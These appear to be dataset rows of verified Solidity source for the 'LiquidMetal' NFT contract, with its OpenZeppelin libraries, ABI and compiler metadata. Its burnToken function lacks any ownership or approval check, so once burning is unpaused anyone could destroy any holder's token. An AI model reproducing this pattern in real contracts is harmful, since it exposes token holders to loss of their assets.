return interfaceId == type(IERC165).interfaceId;
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addressMintedBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"burnToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerAddressLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onlyWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pauseBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pausedBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setNftPerAddressLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setOnlyWhitelisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"whitelistUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"whitelistedAddresses","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000000b6c69717569646d6574616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c4d5400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d51646a636a3239633657586d3866795a545438517a643161745a66436a4c7046773768333358716e4a4c42312f000000000000000000000000000000000000000000000000000000000000000000000000000000000041697066733a2f2f516d58637362544c46636e57524b726b3235556e3845654b58373550674c5555436734684a7341677a4e6b4164792f68696464656e2e6a736f6e00000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://e218e8923b4f0078578fbc5eb27017c4c10426d042e03fe490a67d5bfa3947b5 |
||
LiquidMetal | @openzeppelin/contracts/utils/Address.sol | 0x5b846762ff7ebf7814d63a92b35fdd97abd8c6bb | Solidity | pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 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LiquidMetal | @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol | 0x5b846762ff7ebf7814d63a92b35fdd97abd8c6bb | Solidity | pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
} | 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LiquidMetal | @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol | 0x5b846762ff7ebf7814d63a92b35fdd97abd8c6bb | Solidity | pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
} | 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| v0.8.7+commit.e28d00a7 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000000b6c69717569646d6574616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c4d5400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d51646a636a3239633657586d3866795a545438517a643161745a66436a4c7046773768333358716e4a4c42312f000000000000000000000000000000000000000000000000000000000000000000000000000000000041697066733a2f2f516d58637362544c46636e57524b726b3235556e3845654b58373550674c5555436734684a7341677a4e6b4164792f68696464656e2e6a736f6e00000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://e218e8923b4f0078578fbc5eb27017c4c10426d042e03fe490a67d5bfa3947b5 |
||
LiquidMetal | @openzeppelin/contracts/token/ERC721/ERC721.sol | 0x5b846762ff7ebf7814d63a92b35fdd97abd8c6bb | Solidity | pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
} | 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| Default | MIT | false | ipfs://e218e8923b4f0078578fbc5eb27017c4c10426d042e03fe490a67d5bfa3947b5 |
||
LiquidMetal | @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol | 0x5b846762ff7ebf7814d63a92b35fdd97abd8c6bb | Solidity | pragma solidity ^0.8.0;
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
} | 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| v0.8.7+commit.e28d00a7 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000000b6c69717569646d6574616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c4d5400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d51646a636a3239633657586d3866795a545438517a643161745a66436a4c7046773768333358716e4a4c42312f000000000000000000000000000000000000000000000000000000000000000000000000000000000041697066733a2f2f516d58637362544c46636e57524b726b3235556e3845654b58373550674c5555436734684a7341677a4e6b4164792f68696464656e2e6a736f6e00000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://e218e8923b4f0078578fbc5eb27017c4c10426d042e03fe490a67d5bfa3947b5 |
||
LiquidMetal | @openzeppelin/contracts/access/Ownable.sol | 0x5b846762ff7ebf7814d63a92b35fdd97abd8c6bb | Solidity | pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
///////////////////////////////////////////////////////////////////////////
// //
//▄▄▄█████▓ ██▀███ ██▓ ██▓███ ██▓ ▓█████ ██████ ██▓▒██ ██▒//
//▓ ██▒ ▓▒▓██ ▒ ██▒▓██▒▓██░ ██▒▓██▒ ▓█ ▀ ▒██ ▒ ▓██▒▒▒ █ █ ▒░//
//▒ ▓██░ ▒░▓██ ░▄█ ▒▒██▒▓██░ ██▓▒▒██░ ▒███ ░ ▓██▄ ▒██▒░░ █ ░//
//░ ▓██▓ ░ ▒██▀▀█▄ ░██░▒██▄█▓▒ ▒▒██░ ▒▓█ ▄ ▒ ██▒░██░ ░ █ █ ▒ //
// ▒██▒ ░ ░██▓ ▒██▒░██░▒██▒ ░ ░░██████▒░▒████▒ ▒██████▒▒░██░▒██▒ ▒██▒//
// ▒ ░░ ░ ▒▓ ░▒▓░░▓ ▒▓▒░ ░ ░░ ▒░▓ ░░░ ▒░ ░ ▒ ▒▓▒ ▒ ░░▓ ▒▒ ░ ░▓ ░//
// ░ ░▒ ░ ▒░ ▒ ░░▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░▒ ░ ░ ▒ ░░░ ░▒ ░//
// ░ ░░ ░ ▒ ░░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ //
// ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ //
///////////////////////////////////////////////////////////////////////////
pragma solidity >=0.7.0 <0.9.0;
contract LiquidMetal is ERC721Enumerable, Ownable{
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.00 ether;
uint256 public maxSupply = 6666;
uint256 public maxMintAmount = 10;
uint256 public nftPerAddressLimit = 120;
bool public paused = true;
bool public revealed = false;
bool public onlyWhitelisted = true;
bool public pausedBurn = true;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused);
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint256 i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function burnToken(uint256 tokenId) public{
require(!pausedBurn,"Burn is paused");
_burn(tokenId);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function reveal() public onlyOwner {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function pauseBurn(bool _state) public onlyOwner {
pausedBurn = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addressMintedBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"burnToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","nam